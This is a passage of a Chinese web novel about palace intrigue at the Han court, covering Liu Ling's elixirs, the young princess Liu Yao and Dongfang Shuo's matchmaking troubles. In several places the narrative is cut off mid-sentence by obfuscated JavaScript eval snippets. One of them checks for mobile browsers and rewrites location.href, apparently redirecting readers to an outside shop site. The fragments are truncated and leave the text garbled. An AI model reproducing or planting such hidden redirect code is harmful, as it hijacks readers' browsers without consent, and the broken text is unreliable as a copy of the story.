刘陵也是她椒房殿的客人,馆陶大长公主没来由给她一巴掌,丢的是她的脸。 馆陶大长公主起身,不顾她的挣扎,将人拉到身边,看着陈阿娇有些消瘦的面庞,用指尖狠狠地点着她的眉心,没好气道:“你这个没心眼的,我再来晚些,你什么时候被人害死都不知道。” “阿母,你说清楚。”陈阿娇惊诧,怎么还会牵扯到她的性命,她最近觉得精神好多了,睡得也香甜。 “哼!”馆陶大长公主没理她,目光落到站在下方的刘陵,“刘陵,你擅自毒害大汉国母,这种歹毒心思,就不怕太皇太后怪罪吗?” “阿母,你是说刘陵害我。”陈阿娇被镇住了,她不可置信地看向刘陵。 虽说刘陵能言会道,也会哄人,但是在她这里,当然馆陶大长公主更可信。 经过这段时间,刘陵腮边的指印颜色越发深了,看着有些骇人。 听到馆陶大长公主的质问,刘陵面色淡定,抬眸嗤笑道:“大长公主你身份尊贵,我一个小小诸侯之女,自然惹不起,但是谋害人命的脏水也不能随便泼到我身上。” 馆陶大长公主:“你的口才和勇气确实让人赞叹,要不然淮南王也不会将你独自留在长安,只不过你不应该将手伸到阿娇的身上。” 刘陵叹气,面上一脸无奈,“大长公主,你今日进宫就没缘由给了我一巴掌,现在反而倒打一耙,刘陵着实不懂。” “不懂!”馆陶大长公主给了心腹使了一个眼色。 心腹出列,从怀里掏出一个布包,里面包着两个小布包,其中一个拆开是一团带着残渣的灰烬,另外一个包着两枚褐色丹丸。 “阿母,你什么时候拿到这些东西的?”陈阿娇瞅了一眼,就反应过来,她服药的事情被馆陶大长公主给知晓了。 “我若是晚些,等你出了事就晚了。”馆陶大长公主恨铁不成钢道。 陈阿娇面上讪讪,不敢看她。 毕竟这事是她独自做主,这些日子虽然和刘陵混的熟了,但是她也不敢确定对方对她没恶意。 刘陵面色淡定,“我也是女子,看到皇后如此被陛下冷落,所以才给皇后找了这些药,这些丹药确实对女子有好处,再说我若是害了皇后,何必留下来,跟着父王回淮南即可。” 陈阿娇下意识点头,她也这么觉得。 再说她吃了药后,确实感觉好了不少。 “点什么头。”馆陶大长公主斜了她一眼。 陈阿娇连忙坐直了身子。 馆陶大长公主冷笑一声,“看来淮南王对陛下甚是忠诚,居然还有心思给皇后炼制丹药调养身体,阿娇若是平安诞下子嗣,大汉有了皇太子,淮南王居功甚伟。” 别以为她不知道,之前淮南王来长安拉拢朝中重臣时,曾经以刘彻无嗣意图撺掇别人。 即使真的炼出仙丹,现在怎么好心成全阿娇, 刘陵面色不改,“大长公主说笑了,朝野都知道你的地位,父王看重的是你。这药相信你也找人看过了,对人无害。 ” “有没有害我不知道,单凭你说的我不信。”馆陶大长公主起身,从心腹捧着的手上捏起一枚丹药,递到刘陵面前,“张嘴。” 刘陵红唇微颤,犹豫了片刻,还是张嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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馆陶大长公主则是淡定,素手摸了摸她脸颊肿起来的掌印,“等到了时候,你若是还有这心思,我成全你,可如果没有结果,你就是意图残害国母,不止我,太皇太后与陛下都不会放过你和淮南王。” 到时候,刘陵如果真馋男人,她给她几十个。 “我刚才是说笑,大长公主莫要放在心上。”刘陵看出她眸中的冷意,当即改了说法。 馆陶大长公主淡淡道:“可我不是说笑。” 刘陵沉默。 心中不断深呼吸,压抑住想将馆陶大长公主撕碎的想法。 在刘陵离开椒房殿之前,馆陶大长公主又给她塞了一粒,让药效发作更快。 …… 刘陵强压着怒火离开椒房殿,等急匆匆远离后,她双腿一软,一下子跌倒在地。 “翁主!”贴身婢女锦文连忙将她扶起。 “……呵呵……大长公主真威风!”刘陵双手撑着地面,细碎的小石子刮着掌心,如同针一般刺透她的心,让她的笑声变得越发癫狂,“锦文,你看当长公主多威风!哈哈哈……” “翁主!”锦文更加担忧了。 刘陵推开她的手,没有顾忌地瘫坐在地上,抬头看着未央宫方向,唇边笑声不止,“等父王入主未央宫,我也要端起长公主的架子!今日之事定当奉还!” “翁主!你笑声小点。”锦文吓的浑身冒冷汗,这可是在皇宫。 “怕什么,他们又不是没怀疑父王。”刘陵笑了一阵,站起身来。 天下各路诸侯几乎都有造反的心思,这点陛下知道,太皇太后知道,事实在于有没有能力做罢了。 18. 第 18 章 等刘陵离开,馆陶大长公主开始教训陈阿娇。 陈阿娇抱着她的腰撒娇,“阿母,你消气好吗?我知道错了!” “你知道错了?”馆陶大长公主皮笑肉不笑地看着她,“若不是我找过来,你怕是一直都不打算告诉我吧!” “怎么可能……”陈阿娇不敢对上她的眼,目光有些游移,“我也知道刘陵可能不安好心,所以让人仔细检查了药,也让人试过了无事,才敢吃的。” 而且她吃了药,夜间也睡得香了,肤色也越发好。 “丹药那种东西不稳定,原先我不愿意答应她,就是担心他们暗地里下黑手,你居然还上赶着。”馆陶大长公主真想将她好好打一顿,好好让她清醒一番。 “有那么严重吗?我看刘陵与淮南王都挺老实的。”陈阿娇搂住她的腰,依偎在馆陶公主的怀里,装作不解道:“我与她约定好了,若是有了孩子,满长安的男子都任由她挑,我身为皇后,还是有点脑子的。” “有脑子?我看看。”馆陶大长公主捧着自家女儿的脑袋,目光直视道:“你是不是忘了我刚才与刘陵说的话,淮南王有异心,你是大汉的皇后,你若是有了儿子,就是大汉的储君,陛下现在没有儿子,地位还不算稳固,你觉得他会帮着你吗?” “……刘陵她想留在长安,与淮南王无关。”陈阿娇努力解释,可是看她有些发愣的眼神,估计现下心中也忐忑。 馆陶大长公主幽幽道:“阿娇,你这个样子,让我有些后悔将你嫁给陛下了。” 她的女儿生来就是要享福的,可是嫁给刘彻后,现在反而患得患失,现在连脑子都快没了。 太皇太后眼看着撑不了多久,等到太皇太后魂归地下,刘彻对阿娇恐怕没有现在的耐心了。 也许与淮南王接触一下也可以,就算出了事,也可以将淮安王交给刘彻,给她与阿娇也能挣一份功劳。 “阿母,你干嘛说这些。”陈阿娇当即娇嗔道,“我都嫁给陛下快十年了,这话让陛下听到,我丢脸死了。” “哼,我看你现在没脸。”馆陶大长公主用力点了点她的眉心,忽而想起另外一个主意,“阿娇,你若是真的忌惮卫子夫,不如阿母给你寻个貌美的良家子,先将陛下从卫子夫那里抢过来行不行?” 卫子夫才生产不久,刘彻身边正是虚空的时候,此时派人顶上正好。 “阿母!”陈阿娇不可置信地看着她,“你也要伤我?” 本来宫里多了其他女人,她就已经很伤心了,阿母现在居然还劝她要给陛下纳良家子,将她当什么了。 见女儿真的伤心了,馆陶大长公主也不敢刺激她,连忙搂住她,柔声致歉,“你别乱想,阿母也是被你与刘陵刺激了,那种丹药还不清楚到底有何作用,你别乱吃。” “阿母当真不给陛下选良家子?”陈阿娇仍然有些不信。 先帝时期,阿母就时常送些良家子给先帝。 刘彻要纳其他人她管不住,但是阿母不能伤她。 “只要你好好的,我干嘛折腾你。”馆陶大长公主心生无奈。 她怎么生出个痴情种。 见她不似说谎,陈阿娇重新展露笑颜。 母女俩又抱着说了一会儿体己话,晌午时分,馆陶大长公主离开椒房殿,赶往长乐宫去看太皇太后。 陈阿娇目送她的御辇离开,转身瞬间笑容减淡,“袁梅,你待会儿出宫给刘陵送些伤药,替我哄她几句,让她再多送些丹药。” 袁梅怔住,担忧道:“可是大长公主……” “你是我的人还是阿母的人?”陈阿娇笑容顿收,冷冷地看着她。 “喏!”袁梅骤然变色,慌忙垂首应下。 不过平复心绪后,她还是心疼陈阿娇,“主人,丹药要不先停一段时间,看看刘陵那边的情况,大长公主说的话也不无道理,这药一时半伙不吃,也影响不了多少。” 陈阿娇闻言,眼眶渐渐翻红,“若是阿母送了良家子进宫,我怕是会成长安的笑话。” 袁梅苦着脸解释道:“主人,我觉得之前大长公主只是故意吓唬你,你不必这般担心。” 陈阿娇烦躁道:“卫子夫已经生了两个孩子,现在正是盛宠时候,说不定很快就有第三个,我当然急。” 袁梅:“……不急,只是两个公主。” 等她从宫外回来,要查查椒房殿是谁走漏了风声,馆陶大长公主也是冲动,这一作为不仅没将皇后拉回去,反而弄得越发偏执了。 陈阿娇苦笑:“下一次可能就是皇子了。” 袁梅:…… …… 昭阳殿中,刘瑶趴在摇篮旁,睁着大大的眼睛看着里面的小婴儿。 “阿母,妹妹叫什么名字?”刘瑶伸出小手,摸了摸婴儿的小手,嘿嘿乐道:“好小。” 真的好小,她这么大的孩子都能一手包住。 “刘玥!你可以叫她阿玥。”卫子夫温柔地摸了摸她的软发。 “阿玥,你好啊!”刘瑶轻轻挠了挠对方的小手。 摇篮里的婴儿似有所感,将头歪向刘瑶这边,吧唧着小嘴,含糊咿呀了两声,似是在打招呼。 刘瑶歪头看了看卫子夫。 卫子夫环抱着她,“阿瑶当阿姊了,以后可不能欺负妹妹。” “阿母放心,没人敢欺负阿玥,我罩着!”刘瑶拍了拍小胸脯,字正腔圆道。 小家伙一副正色的模样,惹得卫子夫心中又好笑又感动,将她抱起,笑道:“阿瑶也放心,有陛下与阿母,没人敢欺负阿瑶。” 刘瑶与她脸贴着脸,奶乎乎撒娇:“阿母!我也罩着你!” 小家伙声音仿佛掺了蜜似的,甜的人嘴角弧度压根压不住。 “好!”卫子夫紧紧搂着她。 刘彻进殿时,就看到母女俩这副其乐融融的样子,诧异道:“这是怎么了?” 与母亲的温馨时间被打断,刘瑶面色顿时不满,“阿父,坏!” “?”刘彻上前,从卫子夫怀里将她拎出来,高高扬起手,故作凶悍道:“再说一遍,谁坏!” 刘瑶抬头望着屋顶,翻了一个大大的白眼,低头时换上笑脸,张开双手,“阿父,抱!” “……”刘彻被小孩的变脸整的无语,还是将人抱在怀里,轻轻拧了拧她的鼻子,“小小年纪,跟谁学的。” 刘瑶闻言,澄澈的大眼睛无辜地看着他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13694996|144391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神里写满“跟你啊!” 刘彻顿时一头黑线,他堂堂大汉皇帝就是脑子没了,也不会做出这副姿态。 玩闹结束后,刘瑶就识相跑到外殿看雪,将空间留给刘彻与卫子夫。 到了外殿,刘瑶见到站在门口火盆烤火的卫青,立马屁颠屁颠跑过去,“舅父!二姨母好吗?纸研究出来没有?” 卫青看到她,蹲下身,经不住露出笑颜,“我今日正想告诉你,二姐说,快要成功了,可惜树皮存的不多,材料都消耗光了,等到明年估计就有结果。” 刘瑶闻言,眼睛一亮,勾了勾小手,示意卫青低下头。 卫青依从将头凑到她的面前。 刘瑶凑到他的耳边,小声道:“舅父,你告诉二姨母,柳树皮没了,可以寻其他东西,其他树皮、麻绳、渔网都试试。我觉得也行哦!” 卫青诧异地看着她。 卫少儿在家中折腾这些东西时,他没事的时候也帮衬一下,对一些基础的材料处理也了解。 虽然卫少儿也有这种想法,但是没想过将他们混合在一起,因为不同东西处理的方式、时间不同,混在一起反而不好。 可是阿瑶小小年纪,为什么知道这些,他未曾听阿姊说过阿瑶在宫中折腾这些。 不过既然是小孩子的要求,而且听着似乎也是有益处的建议,卫青自然不会敷衍,当即点头道:“我回去就给二姐说。” 刘瑶满意地笑了,她知道卫青说话算数。 说完这事,一大一小两人坐在门口聊起天,主要是卫青给刘瑶说卫府的事情。 比如,霍去病在家中又闯了多少祸,挨了多少打…… 卫长君马上要说亲了…… 卫步前段时间与人喝酒,夜里回来时走错院子,因为没人开门,擅自翻墙,被主人家给揍了一顿…… 再比如,长姐卫君孺最近与东方朔走的近,他曾经见她给东方朔缝补衣服……不过他虽然钦佩东方朔的才华,并不喜欢他与卫君孺走得近,因为对方花心,油嘴滑舌…… “等一下!”刘瑶小手一抬,“东方朔?” 她不解地挠了挠头。 上辈子看的电视剧、野史小说没听说东方朔与卫家还有姻亲关系啊。 她与卫君孺也见过几次,对方是一个温婉清秀的美人,怎么与东方朔扯上关系了。 说实话,她虽然佩服东方朔的口才与学识,也与卫青一样的想法,觉得对方不是良人之选。 卫青点头,眉心锁起,指了指内殿方向,小声道:“前两日,陛下得知长姐未曾婚配,所以想给她牵线,你觉得是让陛下选,还是直接去找东方朔?” 小孩子虽然不懂,可有时候最是通透,尤其他们家的阿瑶,所以他想问问阿瑶的意见。 刘瑶皱着眉:“不应该问大姨母吗?” 卫青:“我担心长姐她拒绝陛下的美意。” 刘瑶:…… 直接说担心对方看上给东方朔就行。 刘瑶拍了拍他的肩膀,“拒绝就拒绝吧,又不是你与阿父嫁人!” 卫青嘴角抽搐,连忙瞅了瞅内殿方向,确定刘彻听不到,这才松了一口气。 19. 第 19 章 刘瑶见他时不时看殿内,扯了扯他的衣服,“嫁人这事,难道你不应该问一下大姨母?” 再说她觉得卫君孺虽然性子柔和,其实挺有主意的。 卫青有些纠结,“可是我不想逼她。” 毕竟东方朔也没那么差,只是他担心不适合长姐。 刘瑶眼珠子转了转,示意他凑近,好奇道:“阿父给大姨母找的男人是谁啊?” 卫青低声道:“陛下身边的太仆公孙贺,平曲侯之子,义渠人。” 刘瑶:“他和公孙敖什么关系?兄弟吗?” 都是一样的姓,让她有些怀疑,不过卫青与公孙敖是好友,公孙贺是勋贵之后,公孙敖身份普通,似乎也不相干。 卫青愣了一下,明白刘瑶的话,笑道:“只是同一个姓,当然他也是义渠人。” 刘瑶点了点头,她也是随口一问,“那公孙贺长得好看吗?” “长相英武,口才不如东方朔,但是比他年轻。”卫青说道。 刘瑶小手捏着下巴,“舅父,阿瑶觉得,要不,你去找东方朔算账吧,他打不过你。” 合着卫青还嫌弃东方朔年纪有些大啊。 “啊?”卫青有些懵逼。 让他对上东方朔,说实话,他有些怵,他们两人之间,东方朔在学识、口才可要胜过他许多,而且对方还是一个手无缚鸡之力的儒生,让他如何下得去手。 刘瑶再次撺掇道:“阿瑶给你助威,东方朔他挨了打,如果大姨母不心疼,你就不用头疼了。” “……阿瑶说的有道理。”卫青若有所思,“大不了事后我再给他赔罪。” “舅父告诉东方朔,阿瑶看他不爽好久了。”反正也是她鼓动的,卫青下手估计也有分寸,不用担心两人真打的死去活来,毕竟两人武力值不对等。 …… 此时与他们相隔不远的内殿帷幔之后,刘彻站在角落里,薄唇微微翘起,眉梢时不时随着外面一大一小的讨论而时不时上下跳动。 卫子夫掩唇忍笑守在一旁,低声道:“陛下如果想听,可以出去,相信阿瑶很欢迎的。” 刘彻无奈瞥了她一眼。 他当然知道,以阿瑶的性子,估计会拉着他一起讨论,说不定还想着让他和卫青一起去打东方朔。 那样成何体统。 他压低声音,“东方朔与公孙贺,你属意谁?” 卫子夫面色微怔,收拢了唇边笑,“此事我也是今日才知道,不清楚长姐的想法。要不明日我找长姐问一下?” 刘彻转动下巴戳了戳门口方向,“看卫青的样子,似乎不想要东方朔。” “东方先生他确实学识渊博,但是……”卫子夫迟疑了一下,“妾身觉得他不适合长姐。” 她虽然不曾与东方朔接触过,对于陛下身边的这位大臣也了解一二,也从阿瑶口中知道这人,粗略判断此人太过散漫洒脱,才华自是不用讲,可是不代表适合当丈夫。 刘彻微微颔首,“看来我们的想法都一样。” 应该说大家的想法都一样,明日他宣东方朔进宫,可要好好笑话他一顿。 …… 听说刘彻要找东方朔“麻烦”,刘瑶表示也要跟在看热闹。 刘彻笑问:“东方朔什么时候惹到你了?” 刘瑶晃了晃手指,“阿父,你不懂,我这是关心东方先生。” 刘彻:…… 次日,东方朔被刘彻宣进宫,他进宫也没有闲着,给刘彻带了四卷竹简。 刘彻让人接过竹简,示意他坐下,“今日宣你进宫,朕有件事想要问你。” 刘瑶在一旁捧哏:“很重要的事。” “……”东方朔不动声色地瞄了刘瑶一眼,嘴角微微抽搐,“陛下请说。” 若是没有刘瑶,他有八成把握确定陛下说的是大事,现在多了一个小公主在一旁守着,估计不是大事。 刘彻:“朕有意给子夫的长姐卫君孺找个良人,你觉得平曲侯之子公孙贺怎么样?” 刘瑶:“阿父说,比你年轻,比你高,比你嗓门大!” “咳!”刘彻轻咳一声,大手轻轻拍着她的软背,示意她别太嚣张。 将两名男子这般比较,怕是给公孙贺拉仇恨。 还有,有本事不要用他当挡箭牌。 “……”东方朔唇边笑容微滞,藏在大袖中的拇指与食指轻轻摩挲,“微臣与公孙贺不熟,不好评价,但是对于长公主之言,微臣觉得女子寻找夫婿要慎重,不能太过看重皮囊年龄,也要辨人品。” 刘彻:“那你是赞同还是不赞同?” 东方朔面色淡定道:“陛下,微臣不是卫君孺,此事问微臣没用。” 刘彻闻言,挑了挑眉,“朕听闻卫君孺与你认识,你就不关心她?” 东方朔对于陛下问起这个,并不觉得诧异,毕竟陛下也不会无缘无故询问他卫君孺成亲的事情。 “陛下见谅,长安城与微臣熟悉的女子不少,卫家女酿酒的手艺很好,微臣经常买酒,其他方面就没有联系了。”他拱手一拜,笑道;“微臣也有自知之明,卫家女看不上微臣这个性子。” 刘彻晃了晃身边的刘瑶,“你可满意了?” 刘瑶歪头看了看他,小手一摊,“有什么满意的,东方朔又打不过公孙贺。” 刘彻:…… 东方朔面色一囧,无奈地看着她。 难道长公主还想着他去找公孙贺决斗,身为男儿大丈夫,岂能如此做派,传出去了,让旁人笑话还是小事,若是让卫君孺误会了,他的脸面往哪里放。 有本事不比比武打仗,大家写词做赋,他甚至可以让公孙贺一只手。 刘瑶也说不上什么感觉,她听过东方朔相关的逸闻和段子,知道他的才学渊博,也有大智慧。 但是缺点也十分明显,举止轻浮散漫,喜欢饮酒,也不怎么自爱,这样的人当个朋友可以,可是身为丈夫,就有许多扣分的地方。 …… 此时卫君孺也进了宫,与母亲卫媪一起来到昭阳殿。 卫媪看过小婴儿后,一直没见到刘瑶,有些奇怪道:“阿瑶呢?” 卫子夫请她们坐下,“在陛下身边。” 卫媪与卫君对视一眼,卫媪笑道:“陛下还是如此疼爱阿瑶!” 卫君孺点了点头。 卫子夫望向卫君孺:“长姐,陛下听闻你不曾婚嫁,所以想给你牵一个姻缘,对方是平曲侯之子公孙贺,你觉得如何?” “嫁人?”卫君 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她话音落下,忽然反应过来,大手下意识扯住卫君孺的胳膊,眼含狐疑,“你是不是心中有人了?” “没有。”卫君孺当即否认。 卫媪:…… 不回答这么快,她还不怀疑呢。 “阿母,不如你先去哄阿玥,我来与长姐说说。”卫子夫不忍见卫君孺被逼问,轻声说道。 “……你啊!”卫媪闻言,清楚不能再逼问,点了点卫君孺,起身去了内殿。 等卫媪离开,卫君孺神情一松。 卫子夫带她来到殿外廊檐下,挥退身边宫侍,也不卖关子,“陛下与阿瑶在长乐宫宣召东方朔。” 卫君孺愣了一下,反应过来是什么意思后,瞪大眼睛,“陛下不是选了公孙贺吗?” 卫子夫唇角微翘,似笑非笑道:“我只说了陛下宣召东方朔,并未说是什么事,长姐怎么就知道缘由了?” “……这也不难,你前脚才告诉我与阿母,后脚没由来提了东方朔,我自然能猜到。”卫君孺微微垂首,目光落在地面石板上的裂纹,失神地描绘裂纹的轮廓。 卫子夫:“长姐,你老实告诉我,你与东方朔之间是不是有什么?” “……没有什么。”卫君孺轻轻挪动脚尖,一点点想要擦拭石板上的裂纹,可惜脚下的是石板,不是泥沙,由不得她动作,亦如心中的念头,哪能轻易磨平擦拭,“我与他认识,也与他吵过几架,若不是看他口才好,学识好,早就让卫青、卫步揍他了。” 卫子夫眉心轻蹙,望着卫君孺,唇瓣微张,“长姐,你……” 卫君孺抬眸对上她担忧的神色,“你告诉陛下,我选公孙贺。” 一个公侯之子对子夫与阿瑶他们更有助力,而东方朔与她并无瓜葛,她欣赏的是那个意气风发,高谈阔论的东方朔,对方不适合她。 卫子夫:“长姐,此事不急,要不你与东方朔见上一面,然后再告诉我决定。” “不用了。”卫君孺摇了摇头,“陛下选的人很好。” 卫子夫:…… 长姐这样,让她愈发不敢与陛下说了。 20. 第 20 章 未央宫中,刘彻兴起了给东方朔做媒的念头。 人选嘛!就是淮南王之女刘陵。 之前东方朔不是说,淮南王曾经邀请他去赴宴,他觉得刘陵的脾气与东方朔十分相配,可以凑一对。 尤其前段时间,他听说她与皇后走得近,既然她想在长安嫁人,就趁早将此事定下,最好在太皇太后离开前,就将婚事办完了,也让他安心一些。 刘彻兴致勃勃道:“东方朔,你孤身一人,也是时候成亲了,你觉得刘陵如何?” 东方朔:…… 他平时虽然对别人嘴欠了些,但是对待陛下一直忠心耿耿,言辞也没有得罪,为何陛下要这般折腾他。。 窝在刘彻身边把玩他腰间玉珏的刘瑶愣了一下,一个用力,不仅将玉珏扯了下来,差点将刘彻的腰带也弄下来。 阿父这算是乱点鸳鸯谱吗? 刘彻察觉后,给了她一个警告的眼神。 东方朔诚心道:“陛下,微臣配不上刘陵,还请三思!” 刘瑶好奇地盯着东方朔,“东方先生,你最近惹阿父生气了吗?” “……微臣也想问一下。”东方朔对刘瑶这话简直是奉为知己了,目光落在刘彻身上,“陛下,除了才华,微臣其他一无是处,配不上翁主。” 刘彻淡定道:“巧了,淮南王与刘陵也想找个有才华的,不问出身。” 东方朔笑容更加僵硬了。 他视线下移,落到刘彻怀中的小人身上,讨好道:“还请长公主帮忙劝陛下,微臣感激涕零。” “不要!”刘瑶直接将身子一扭,给了他一个后脑勺。 东方朔:…… 刘彻朗笑出声,“东方朔,你这样子可哄不了阿瑶。” “没错!没错!”刘瑶背对着他点了点头。 东方朔越发头疼了,因为他现在分不清陛下是不是开玩笑。 “这样的话,微臣还是选择当陛下的姐夫。”东方朔墨眸微转,打算换一个策略。 他整理了一下冠发和裾袍,向刘瑶展露一个自信的笑容,“长公主,你以后要叫微臣姨父了。” 刘瑶瞪圆了眼睛,使劲扯了刘彻的衣服,“阿父,将他嫁给刘陵,我给嫁妆。” 她虽然钦佩东方朔的才华,欣赏他的处事态度,但是不想成为他荒诞轶事的一员。 可以想见,如果东方朔真成了她的姨父,千年之后,不止卫家、就连她也会被人看乐子。 东方朔嘴角微抽,神情带着几分无语。 他没想到对刘瑶的刺激那么大,他自问也是仪表堂堂,感觉与长公主平时关系也好,怎么会如此嫌弃他。 “噗嗤——”刘彻忍俊不禁,一把将刘瑶抱住,“东方朔,阿瑶如此贴心,你觉得朕应该怎么办?” 东方朔见状,深吸一口气,放弃插科打诨,“请陛下恕罪,微臣现下不想成亲。” 刘彻抱着刘瑶,轻轻晃着,笑道:“不如你问一下阿瑶,她若是答应,朕就不管你。” 东方朔闻言,眨了眨眼,和一双稚嫩纠结的明澈双眸对上,下意识露出和善的笑,轻声哄道:“长公主,微臣不是好人,如果成亲了就是天大的坏事。长公主这么善良聪明,肯定不做坏事。” “……”刘瑶一头黑线地看着他,目光微斜,“真的?” 东方朔:“真的,十成十的真。” 刘瑶叹了一口气,“那好吧,真好我现在的金子快花光了,没办法给你存嫁妆,等我再存存吧。” 东方朔已经懒得和刘瑶掰扯“嫁妆”和“聘礼”的区别。 既然陛下那样说了,先将刘瑶的念头磨灭再说。 否则他担心少年帝王为了哄他的女儿,真的会将他给牺牲了。 “长公主英明!”东方朔连连点头,若非场景不对,他都想给对方跳一支舞。 见两人谈妥了,刘彻则是心情舒畅,大方地赏了东方朔一些金银和酒肉当做补偿。 …… 午时,东方朔离开未央宫,冷风一吹,被汗湿的后背如同冰敷,惹得东方朔打了一个寒颤,长吐一口气,抄着手下了台阶。 “东方先生!” 熟悉的声音将东方朔定住,他下意识回头,看到来人顿时表情一垮,皮笑肉不笑道:“在下不知道卫侍中今日当值啊!” 卫青三步化作两步追上他,拱手道:“东方先生留步,在下有事情想请教你。” 东方朔冲着他重哼一声,“在下才疏学浅,什么都不懂!” 卫青:…… 宫中谁不知道东方朔的脾气张扬,若是说他才疏学浅,恐怕他本人第一个不认。 东方朔不打算理卫青,加快步子想甩开他。 卫青快步跟上,边走边道:“东方先生,今日我长姐也进宫了,现在这个时间,也正是离开昭阳殿的时候。” 他话音刚落,发现面前这人步伐越发快了,到了后面,已经可以说是跑了。 卫青傻眼,看着他远去的背景,挠了挠头。 东方朔这样子,到底是怎么回事,是对长姐的事上心还是不上心。 卫青犹豫了一下,还是快速追上了,“东方先生,你别担心,长姐不想嫁给你,她觉得陛下给她选的公孙贺挺好的。” 东方朔一听,脚下瞬间刹闸,倒霉的是,他脚下那块地方有一块石板微凸,而他的脚尖恰巧就顶在了上面。 霎那间,极致的痛麻从脚尖传递到全身,东方朔如同触电一般,浑身僵直,整个人一下子扑倒在地。 “砰!”的一声,惊起了一群鸟雀,世界仿佛瞬间安静了。 卫青目瞪口呆。 周围站岗的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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虽然东方朔并不想让对方送,奈何本人武力值不行。 …… 次日卫青回宫当值,刘彻见到他,好奇道:“卫青,听说你将东方朔的腿打瘸了,这是怎么回事?” 一旁堆竹简玩的刘瑶一把将竹简推开,屁颠屁颠跑过来,两眼放光,“舅父,真的吗?” 一开始听到刘彻的询问已经无法吐槽的卫青,见到刘瑶这般兴奋,越发无奈了,“陛下,我没有打东方先生,他的脚是跑的时候不小心磕伤了,绝对不是我打的。” 然后他就看到刘彻与刘瑶父女俩露出如出一辙的失望。 卫青:…… 同时心里吐槽宫中那些同僚,一个个平日看着稳重缄默,背地里如此长舌,等回去后,他要好好收拾那一群人。 21. 第 21 章 东方朔因为伤到了脚,经过大夫整治,要养十天半个月。 对于外面卫青将他腿打瘸了的谣言,他两手一摊,表示爱莫能助,谁让他伤着了。 不过没想到,在此寒风冷雪之日,卫君孺居然上门来看他。 忠仆将人迎进去后,给火盆又加了加木炭,然后将门关上,就退下了。 卫君孺从竹篮中拿出两壶酒,一叠牛肉,一叠酥油渣放在矮桌上。 在她动作期间,一向伶牙俐齿的东方朔沉默地看着她做这些,有些不自在地将袍子拢了拢。 卫君孺:“青弟将事情原委告诉我了,此事与先生无关,先生接连被陛下与青弟刁难,属实是妾身的错,今日前来,特来致歉。” 东方朔笑了笑,从角落里掏出酒碗,先倒了一碗,一口饮下,又凉又辣的酒顺着喉咙滚下,激的他打了一个寒颤,龇牙道:“这酒真凉!” 卫君孺斜了他一眼,“谁让你这样喝的,冷酒伤身。” “你送给我的就是冷酒,难道我将酒倒了你才满意。”东方朔觉得有些委屈,“我这伤虽说不是卫青伤的,也与你有些缘由,你待旁人都是温温柔柔,现下就不能多关心关心我?” 卫君孺淡然道:“说起这,先生口才了得,对待别的女子都是柔声细语,对我不也是言辞犀利吗?” 长安城许多姑娘都对这位风趣幽默的东方先生十分心仪,经常与他打情骂俏。 说完,又给他倒了一碗酒,示意他继续喝。 东方朔目光微闪,端起酒碗,再次一饮而尽,然后向卫君孺展现了碗底。 卫君孺面不改色地再次给他到了一碗,酒壶剩余的酒正好够一碗,她将酒壶放到一旁,含笑看着东方朔,意思不言而喻。 东方朔嘴角微抽,盯着酒碗中的酒液,双眸微眯,“事不过三,你这已经是第三碗了。” 他一口吃的都没下肚,先灌了两碗冷酒,已经够给面子了。 “堂堂东方朔现在连一壶酒就撑不住吗?”卫君孺拎起旁边的空酒壶,晃了晃。 东方朔轻哼道:“若是我那些红颜知己来给我斟酒,就是喝死了也愿意,卫娘子与我非亲非故,喝多了酒,容易被外人说道。” “……”卫君孺上下瞥了他一眼,俯身将他面前的酒碗挪到自己面前,然后将另外一壶酒拆开,放到他面前,“这样可以了吧!” 东方朔盯着自己面前的酒壶,觉得肺腑烧的慌,空腹喝酒确实滋味不好受,想到这里,他撩起袖子,探身拿了一块牛肉吃了起来。 卫君孺则是抿了一口酒,冰凉的酒水才入口,让她眉心一蹙。 东方朔注意到,给她抓了一把牛肉放到她面前,“空腹喝酒伤身。” 他现下也算半个伤者,对方上门先给他倒冷酒,可见是来算账的。 卫君孺捡起一块牛肉咬了一口,有了食物下肚后,腹中确实好了不少,她面色微缓,见东方朔一口酒一口肉不间断,眉间再次锁起,“喝酒不利于养病!” 东方朔动作一顿,放下手中的牛肉,撑开窗户,探身看了看外面,冷风寒雪,一片萧瑟,顿时神情迷惑,“奇了怪了,这外面又没有放晴,怎么听到有人关心我了!” “东方朔!”卫君孺愣了一下,略微泛白的脸颊染上一层红晕,语气带着一丝羞恼,“我刚才只是随口说说。” “那我也是随耳听听。”东方朔将窗户关上,然后拢了拢袖子,继续喝酒吃肉。 卫君孺见他这副没心没肺的样子,翻了一个不甚文雅的白眼,又小口喝了一口酒,自顾自出声道:“相信你也知道了,陛下给我寻了一个郎君,叫公孙贺,是平曲侯的儿子,我嫁给了他后,相信子夫他们在宫中也能安心些,说不定将来能帮得上子夫……” 东方朔静静地听着对面女子的声音,一口一口喝着酒。 往日空腹喝酒最容易醉,今日却越发清醒,耳清目明,一点昏头的感觉都没有,大概……因为是外面下雪了? 等卫君孺停下,东方朔沉默了一瞬,“卫君孺,你不必这般妄自菲薄,你嫁给公孙贺,现在卫夫人的地位水涨船高,在宫中很受陛下宠爱,还有长公主,她几乎能站在陛下头上蹦跶,公孙贺他们反而要仰仗你。” 公孙贺只不过老子是个列侯,本身并不怎么出众,他愿意娶卫君孺,一是因为君命,二则是因为有大便宜。 卫君孺静静听着,唇角经不住弯起,目含期待,“真的吗?” 